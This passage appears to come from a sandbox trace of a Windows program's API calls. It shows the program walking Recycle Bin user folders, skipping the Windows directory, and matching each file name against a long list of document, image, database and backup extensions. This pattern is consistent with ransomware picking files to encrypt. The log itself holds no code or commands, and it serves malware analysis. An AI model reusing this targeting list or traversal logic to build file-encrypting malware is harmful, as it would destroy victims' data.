nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x583248 [0061.106] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0061.106] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0061.106] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24 [0061.106] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-18") returned 1 [0061.106] lstrlenW (lpString="S-1-5-18") returned 8 [0061.106] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-18") returned -1 [0061.106] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3780968 [0061.107] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24 [0061.107] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5832c8 [0061.107] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.107] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0061.107] lstrlenW (lpString="desktop.ini") returned 11 [0061.107] lstrlenW (lpString=".1cd") returned 4 [0061.107] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0061.107] lstrlenW (lpString=".3ds") returned 4 [0061.107] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0061.107] lstrlenW (lpString=".3fr") returned 4 [0061.107] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0061.107] lstrlenW (lpString=".3g2") returned 4 [0061.107] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0061.107] lstrlenW (lpString=".3gp") returned 4 [0061.108] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0061.108] lstrlenW (lpString=".7z") returned 3 [0061.108] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0061.108] lstrlenW (lpString=".accda") returned 6 [0061.108] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0061.108] lstrlenW (lpString=".accdb") returned 6 [0061.108] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0061.108] lstrlenW (lpString=".accdc") returned 6 [0061.108] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0061.108] lstrlenW (lpString=".accde") returned 6 [0061.108] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0061.108] lstrlenW (lpString=".accdt") returned 6 [0061.108] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0061.108] lstrlenW (lpString=".accdw") returned 6 [0061.108] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0061.108] lstrlenW (lpString=".adb") returned 4 [0061.108] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0061.108] lstrlenW (lpString=".adp") returned 4 [0061.108] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0061.108] lstrlenW (lpString=".ai") returned 3 [0061.108] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0061.108] lstrlenW (lpString=".ai3") returned 4 [0061.108] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0061.108] lstrlenW (lpString=".ai4") returned 4 [0061.108] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0061.108] lstrlenW (lpString=".ai5") returned 4 [0061.108] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0061.109] lstrlenW (lpString=".ai6") returned 4 [0061.109] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0061.109] lstrlenW (lpString=".ai7") returned 4 [0061.109] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0061.109] lstrlenW (lpString=".ai8") returned 4 [0061.109] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0061.109] lstrlenW (lpString=".anim") returned 5 [0061.109] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0061.109] lstrlenW (lpString=".arw") returned 4 [0061.109] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0061.109] lstrlenW (lpString=".as") returned 3 [0061.109] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0061.109] lstrlenW (lpString=".asa") returned 4 [0061.109] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0061.109] lstrlenW (lpString=".asc") returned 4 [0061.109] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0061.109] lstrlenW (lpString=".ascx") returned 5 [0061.109] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0061.109] lstrlenW (lpString=".asm") returned 4 [0061.109] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0061.109] lstrlenW (lpString=".asmx") returned 5 [0061.109] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0061.109] lstrlenW (lpString=".asp") returned 4 [0061.109] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0061.109] lstrlenW (lpString=".aspx") returned 5 [0061.109] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0061.109] lstrlenW (lpString=".asr") returned 4 [0061.110] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0061.110] lstrlenW (lpString=".asx") returned 4 [0061.110] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0061.110] lstrlenW (lpString=".avi") returned 4 [0061.110] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0061.110] lstrlenW (lpString=".avs") returned 4 [0061.110] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0061.110] lstrlenW (lpString=".backup") returned 7 [0061.110] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0061.110] lstrlenW (lpString=".bak") returned 4 [0061.110] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0061.110] lstrlenW (lpString=".bay") returned 4 [0061.110] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0061.110] lstrlenW (lpString=".bd") returned 3 [0061.110] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0061.110] lstrlenW (lpString=".bin") returned 4 [0061.110] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0061.110] lstrlenW (lpString=".bmp") returned 4 [0061.110] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0061.110] lstrlenW (lpString=".bz2") returned 4 [0061.110] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0061.110] lstrlenW (lpString=".c") returned 2 [0061.110] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0061.110] lstrlenW (lpString=".cdr") returned 4 [0061.110] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0061.110] lstrlenW (lpString=".cer") returned 4 [0061.111] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0061.111] lstrlenW (lpString=".cf") returned 3 [0061.111] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0061.111] lstrlenW (lpString=".cfc") returned 4 [0061.111] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0061.111] lstrlenW (lpString=".cfm") returned 4 [0061.111] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0061.111] lstrlenW (lpString=".cfml") returned 5 [0061.111] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0061.111] lstrlenW (lpString=".cfu") returned 4 [0061.111] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0061.111] lstrlenW (lpString=".chm") returned 4 [0061.111] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0061.111] lstrlenW (lpString=".cin") returned 4 [0061.111] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0061.111] lstrlenW (lpString=".class") returned 6 [0061.111] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0061.111] lstrlenW (lpString=".clx") returned 4 [0061.111] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0061.111] lstrlenW (lpString=".config") returned 7 [0061.111] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0061.111] lstrlenW (lpString=".cpp") returned 4 [0061.111] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0061.111] lstrlenW (lpString=".cr2") returned 4 [0061.111] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0061.111] lstrlenW (lpString=".crt") returned 4 [0061.111] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0061.112] lstrlenW (lpString=".crw") returned 4 [0061.112] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0061.112] lstrlenW (lpString=".cs") returned 3 [0061.112] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0061.112] lstrlenW (lpString=".css") returned 4 [0061.112] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0061.112] lstrlenW (lpString=".csv") returned 4 [0061.112] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0061.112] lstrlenW (lpString=".cub") returned 4 [0061.112] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0061.112] lstrlenW (lpString=".dae") returned 4 [0061.112] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0061.112] lstrlenW (lpString=".dat") returned 4 [0061.112] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0061.112] lstrlenW (lpString=".db") returned 3 [0061.112] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0061.112] lstrlenW (lpString=".dbf") returned 4 [0061.112] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0061.112] lstrlenW (lpString=".dbx") returned 4 [0061.112] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0061.112] lstrlenW (lpString=".dc3") returned 4 [0061.112] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0061.112] lstrlenW (lpString=".dcm") returned 4 [0061.112] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0061.112] lstrlenW (lpString=".dcr") returned 4 [0061.112] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0061.112] lstrlenW (lpString=".der") returned 4 [0061.113] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0061.113] lstrlenW (lpString=".dib") returned 4 [0061.113] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0061.113] lstrlenW (lpString=".dic") returned 4 [0061.113] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0061.113] lstrlenW (lpString=".dif") returned 4 [0061.113] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0061.113] lstrlenW (lpString=".divx") returned 5 [0061.113] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0061.113] lstrlenW (lpString=".djvu") returned 5 [0061.113] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0061.113] lstrlenW (lpString=".dng") returned 4 [0061.113] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0061.113] lstrlenW (lpString=".doc") returned 4 [0061.113] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0061.113] lstrlenW (lpString=".docm") returned 5 [0061.113] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0061.113] lstrlenW (lpString=".docx") returned 5 [0061.113] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0061.113] lstrlenW (lpString=".dot") returned 4 [0061.113] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0061.113] lstrlenW (lpString=".dotm") returned 5 [0061.113] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0061.113] lstrlenW (lpString=".dotx") returned 5 [0061.113] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0061.113] lstrlenW (lpString=".dpx") returned 4 [0061.113] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0061.114] lstrlenW (lpString=".dqy") returned 4 [0061.114] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0061.114] lstrlenW (lpString=".dsn") returned 4 [0061.114] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0061.114] lstrlenW (lpString=".dt") returned 3 [0061.114] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0061.114] lstrlenW (lpString=".dtd") returned 4 [0061.114] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0061.114] lstrlenW (lpString=".dwg") returned 4 [0061.114] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0061.114] lstrlenW (lpString=".dwt") returned 4 [0061.114] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0061.114] lstrlenW (lpString=".dx") returned 3 [0061.114] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0061.114] lstrlenW (lpString=".dxf") returned 4 [0061.114] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0061.114] lstrlenW (lpString=".edml") returned 5 [0061.114] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0061.114] lstrlenW (lpString=".efd") returned 4 [0061.114] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0061.114] lstrlenW (lpString=".elf") returned 4 [0061.114] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0061.114] lstrlenW (lpString=".emf") returned 4 [0061.114] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0061.114] lstrlenW (lpString=".emz") returned 4 [0061.114] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0061.114] lstrlenW (lpString=".epf") returned 4 [0061.115] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0061.115] lstrlenW (lpString=".eps") returned 4 [0061.115] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0061.115] lstrlenW (lpString=".epsf") returned 5 [0061.115] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0061.115] lstrlenW (lpString=".epsp") returned 5 [0061.115] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0061.115] lstrlenW (lpString=".erf") returned 4 [0061.115] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0061.115] lstrlenW (lpString=".exr") returned 4 [0061.115] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0061.115] lstrlenW (lpString=".f4v") returned 4 [0061.115] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0061.115] lstrlenW (lpString=".fido") returned 5 [0061.115] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0061.115] lstrlenW (lpString=".flm") returned 4 [0061.115] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0061.115] lstrlenW (lpString=".flv") returned 4 [0061.115] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0061.115] lstrlenW (lpString=".frm") returned 4 [0061.115] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0061.115] lstrlenW (lpString=".fxg") returned 4 [0061.115] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0061.115] lstrlenW (lpString=".geo") returned 4 [0061.115] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0061.115] lstrlenW (lpString=".gif") returned 4 [0061.116] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0061.116] lstrlenW (lpString=".grs") returned 4 [0061.116] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0061.116] lstrlenW (lpString=".gz") returned 3 [0061.116] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0061.116] lstrlenW (lpString=".h") returned 2 [0061.116] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0061.116] lstrlenW (lpString=".hdr") returned 4 [0061.116] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0061.116] lstrlenW (lpString=".hpp") returned 4 [0061.116] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0061.116] lstrlenW (lpString=".hta") returned 4 [0061.116] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0061.116] lstrlenW (lpString=".htc") returned 4 [0061.116] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0061.116] lstrlenW (lpString=".htm") returned 4 [0061.116] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0061.116] lstrlenW (lpString=".html") returned 5 [0061.116] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0061.116] lstrlenW (lpString=".icb") returned 4 [0061.116] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0061.116] lstrlenW (lpString=".ics") returned 4 [0061.116] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0061.116] lstrlenW (lpString=".iff") returned 4 [0061.116] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0061.116] lstrlenW (lpString=".inc") returned 4 [0061.116] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0061.117] lstrlenW (lpString=".indd") returned 5 [0061.117] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0061.117] lstrlenW (lpString=".ini") returned 4 [0061.117] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0061.117] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0061.117] FindClose (in: hFindFile=0x5832c8 | out: hFindFile=0x5832c8) returned 1 [0061.117] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3780968 | out: hHeap=0x490000) returned 1 [0061.117] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0061.117] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 61 [0061.117] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 1 [0061.117] lstrlenW (lpString="S-1-5-21-1051304884-625712362-2192934891-1000") returned 45 [0061.117] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-21-1051304884-625712362-2192934891-1000") returned -1 [0061.117] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3780968 [0061.117] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 61 [0061.117] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5831c8 [0061.118] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.118] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0061.118] lstrlenW (lpString="desktop.ini") returned 11 [0061.118] lstrlenW (lpString=".1cd") returned 4 [0061.118] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0061.118] lstrlenW (lpString=".3ds") returned 4 [0061.118] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0061.118] lstrlenW (lpString=".3fr") returned 4 [0061.118] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0061.118] lstrlenW (lpString=".3g2") returned 4 [0061.118] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0061.118] lstrlenW (lpString=".3gp") returned 4 [0061.118] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0061.119] lstrlenW (lpString=".7z") returned 3 [0061.119] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0061.119] lstrlenW (lpString=".accda") returned 6 [0061.119] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0061.119] lstrlenW (lpString=".accdb") returned 6 [0061.119] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0061.119] lstrlenW (lpString=".accdc") returned 6 [0061.119] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0061.119] lstrlenW (lpString=".accde") returned 6 [0061.119] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0061.119] lstrlenW (lpString=".accdt") returned 6 [0061.119] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0061.119] lstrlenW (lpString=".accdw") returned 6 [0061.119] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0061.119] lstrlenW (lpString=".adb") returned 4 [0061.119] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0061.119] lstrlenW (lpString=".adp") returned 4 [0061.119] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0061.119] lstrlenW (lpString=".ai") returned 3 [0061.119] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0061.119] lstrlenW (lpString=".ai3") returned 4 [0061.119] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0061.119] lstrlenW (lpString=".ai4") returned 4 [0061.119] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0061.119] lstrlenW (lpString=".ai5") returned 4 [0061.120] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0061.120] lstrlenW (lpString=".ai6") returned 4 [0061.120] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0061.120] lstrlenW (lpString=".ai7") returned 4 [0061.120] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0061.120] lstrlenW (lpString=".ai8") returned 4 [0061.120] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0061.120] lstrlenW (lpString=".anim") returned 5 [0061.120] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0061.120] lstrlenW (lpString=".arw") returned 4 [0061.120] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0061.120] lstrlenW (lpString=".as") returned 3 [0061.120] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0061.120] lstrlenW (lpString=".asa") returned 4 [0061.120] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0061.121] lstrlenW (lpString=".asc") returned 4 [0061.121] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0061.121] lstrlenW (lpString=".ascx") returned 5 [0061.121] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0061.121] lstrlenW (lpString=".asm") returned 4 [0061.121] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0061.121] lstrlenW (lpString=".asmx") returned 5 [0061.122] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0061.122] lstrlenW (lpString=".asp") returned 4 [0061.122] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0061.122] lstrlenW (lpString=".aspx") returned 5 [0061.122] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0061.122] lstrlenW (lpString=".asr") returned 4 [0061.122] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0061.122] lstrlenW (lpString=".asx") returned 4 [0061.122] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0061.122] lstrlenW (lpString=".avi") returned 4 [0061.123] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0061.123] lstrlenW (lpString=".avs") returned 4 [0061.123] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0061.123] lstrlenW (lpString=".backup") returned 7 [0061.123] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0061.123] lstrlenW (lpString=".bak") returned 4 [0061.123] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0061.123] lstrlenW (lpString=".bay") returned 4 [0061.123] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0061.123] lstrlenW (lpString=".bd") returned 3 [0061.123] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0061.123] lstrlenW (lpString=".bin") returned 4 [0061.123] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0061.123] lstrlenW (lpString=".bmp") returned 4 [0061.123] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0061.123] lstrlenW (lpString=".bz2") returned 4 